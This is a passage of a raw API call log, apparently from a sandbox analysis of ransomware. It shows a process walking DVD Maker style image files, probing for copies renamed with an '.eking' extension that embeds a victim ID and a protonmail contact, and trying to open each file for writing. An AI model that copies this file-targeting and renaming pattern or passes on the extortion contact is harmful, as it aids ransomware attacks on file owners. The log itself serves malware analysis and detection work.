maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.069] SetEvent (hEvent=0x174) returned 1 [0181.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.069] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1885) returned 1 [0181.069] CloseHandle (hObject=0x1ec) returned 1 [0181.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png")) returned 0x20 [0181.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png")) returned 0x20 [0181.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.070] SetEvent (hEvent=0x174) returned 1 [0181.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.272] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1375) returned 1 [0181.272] CloseHandle (hObject=0x1ec) returned 1 [0181.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png")) returned 0x20 [0181.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png")) returned 0x20 [0181.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.273] SetEvent (hEvent=0x174) returned 1 [0181.273] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.373] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2820) returned 1 [0181.373] CloseHandle (hObject=0x1ec) returned 1 [0181.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png")) returned 0x20 [0181.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png")) returned 0x20 [0181.373] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.373] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.373] SetEvent (hEvent=0x174) returned 1 [0181.374] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.374] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5088) returned 1 [0181.375] CloseHandle (hObject=0x1ec) returned 1 [0181.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png")) returned 0x20 [0181.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png")) returned 0x20 [0181.375] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.375] SetEvent (hEvent=0x174) returned 1 [0181.375] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.376] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3130) returned 1 [0181.376] CloseHandle (hObject=0x1ec) returned 1 [0181.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0181.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png")) returned 0x20 [0181.376] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.377] SetEvent (hEvent=0x174) returned 1 [0181.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.378] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5025) returned 1 [0181.378] CloseHandle (hObject=0x1ec) returned 1 [0181.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png")) returned 0x20 [0181.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png")) returned 0x20 [0181.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.378] SetEvent (hEvent=0x174) returned 1 [0181.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.379] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3118) returned 1 [0181.380] CloseHandle (hObject=0x1ec) returned 1 [0181.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png")) returned 0x20 [0181.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png")) returned 0x20 [0181.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.380] SetEvent (hEvent=0x174) returned 1 [0181.380] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.381] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4955) returned 1 [0181.381] CloseHandle (hObject=0x1ec) returned 1 [0181.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png")) returned 0x20 [0181.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png")) returned 0x20 [0181.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.382] SetEvent (hEvent=0x174) returned 1 [0181.382] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.383] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3081) returned 1 [0181.383] CloseHandle (hObject=0x1ec) returned 1 [0181.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png")) returned 0x20 [0181.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png")) returned 0x20 [0181.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.383] SetEvent (hEvent=0x174) returned 1 [0181.383] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.384] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=24520) returned 1 [0181.384] CloseHandle (hObject=0x1ec) returned 1 [0181.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png")) returned 0x20 [0181.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png")) returned 0x20 [0181.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\pagecurl.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\pagecurl.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.388] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4570) returned 1 [0181.388] CloseHandle (hObject=0x1ec) returned 1 [0181.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png")) returned 0x20 [0181.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png")) returned 0x20 [0181.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.389] SetEvent (hEvent=0x174) returned 1 [0181.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.390] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2821) returned 1 [0181.390] CloseHandle (hObject=0x1ec) returned 1 [0181.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png")) returned 0x20 [0181.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png")) returned 0x20 [0181.390] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.390] SetEvent (hEvent=0x174) returned 1 [0181.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.391] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4563) returned 1 [0181.391] CloseHandle (hObject=0x1ec) returned 1 [0181.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png")) returned 0x20 [0181.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png")) returned 0x20 [0181.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotsdarkoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotsdarkoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.392] SetEvent (hEvent=0x174) returned 1 [0181.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.392] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=4669) returned 1 [0181.392] CloseHandle (hObject=0x1ec) returned 1 [0181.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png")) returned 0x20 [0181.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png")) returned 0x20 [0181.393] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0181.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\dotslightoverlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\dotslightoverlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0181.393] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\full.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\full\\full.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0181.394] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=26516) returned 1 [0181.394] CloseHandle (hObject=0x1ec) returned 1 [0181.394] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD 